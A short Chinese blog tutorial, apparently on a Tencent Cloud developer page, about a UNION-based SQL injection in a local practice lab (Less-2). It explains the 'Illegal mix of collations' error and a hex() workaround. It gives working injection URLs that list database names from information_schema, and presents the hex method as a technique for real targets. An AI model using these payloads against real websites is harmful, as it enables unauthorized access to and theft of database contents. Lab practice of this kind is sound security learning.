问题背景:

在进行SQL注入时,发现注入点后,准备查询information_schema数据库中schema表中的数据库名(schema_name)
拼接url:http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata
发现报错:Illegal mix of collations for operation ‘UNION’

解决办法:

查看数据库发现,出现这个问题是因为information_schema数据库里面都是utf8_general_ci,而靶场网站user表中的数据都是utf8_unicode_ci。将user表中更改为与information_schema一样的就可以了。

注意:我最开始仅仅更改了表的,但是仍然出现了报错信息,后来发现需要逐一更改每一个字段
在这里插入图片描述
查询成功在这里插入图片描述

实际测试:

但是在实战中如果遇到这种状况怎么办?毕竟目标网站不会让你随便更改数据库。在实战中可以用16进制的方式读取。
更改后的url:http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(hex(schema_name)) ,3 from information_schema.schemata
返回结果:
在这里插入图片描述
在这里插入图片描述
然后利用在线加解码工具解码就OK了
在这里插入图片描述

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐